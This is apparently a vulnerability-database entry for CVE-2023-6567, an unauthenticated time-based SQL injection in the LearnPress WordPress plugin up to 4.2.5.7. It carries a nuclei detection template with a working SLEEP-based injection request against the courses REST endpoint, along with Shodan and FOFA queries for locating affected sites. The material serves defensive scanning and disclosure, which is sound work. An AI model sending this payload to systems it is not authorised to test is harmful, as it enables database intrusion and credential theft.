HexBrain

Browse / CVEs / CVE-2023-6567

CVE-2023-6567· thimpress / learnpress· CWE-89

LearnPress <= 4.2.5.7 - SQL Injection

highseverity
7.5CVSS score
51.4%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

The LearnPress plugin for WordPress is vulnerable to time-based SQL Injection via the 'order_by' parameter in all versions up to, and including, 4.2.5.7 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

Impact

Unauthenticated attackers can execute time-based SQL injection through the order_by parameter to extract the complete WordPress database including user credentials and course data.

Fix

Fixed in version 4.2.5.8

How to confirm it

Send: @timeout: 20s
Positive when: duration>=6 and contains_all(header, "lp_session_guest=", "application/json") and contains_all(body, "status\":\"success", "No courses were found")

Run it with nuclei: nuclei -id CVE-2023-6567 -u <target>

The full check
id: CVE-2023-6567

info:
  name: LearnPress <= 4.2.5.7 - SQL Injection
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    The LearnPress plugin for WordPress is vulnerable to time-based SQL Injection via the 'order_by' parameter in all versions up to, and including, 4.2.5.7 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  impact: |
    Unauthenticated attackers can execute time-based SQL injection through the order_by parameter to extract the complete WordPress database including user credentials and course data.
  remediation: Fixed in version 4.2.5.8
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/learnpress/learnpress-4257-unauthenticated-sql-injection-via-order-by
    - https://wpscan.com/vulnerability/c5110450-3b4e-4100-8db4-0d7f5d43c12f/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6567
    - https://plugins.trac.wordpress.org/changeset/3013957/learnpress
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/6ab578cd-3a0b-43d3-aaa7-0a01f431a4e2?source=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-6567
    cwe-id: CWE-89
    epss-score: 0.51394
    epss-percentile: 0.9895
    cpe: cpe:2.3:a:thimpress:learnpress:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: thimpress
    product: learnpress
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/learnpress
    fofa-query: body=/wp-content/plugins/learnpress
    publicwww-query: "/wp-content/plugins/learnpress"
  tags: time-based-sqli,wpscan,cve,cve2023,wp,wp-plugin,wordpress,learnpress,sqli,thimpress,vkev,vuln

http:
  - raw:
      - |
        @timeout: 20s
        GET /wp-json/lp/v1/courses/archive-course?&order_by=1+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))X)&limit=-1 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'contains_all(header, "lp_session_guest=", "application/json")'
          - 'contains_all(body, "status\":\"success", "No courses were found")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from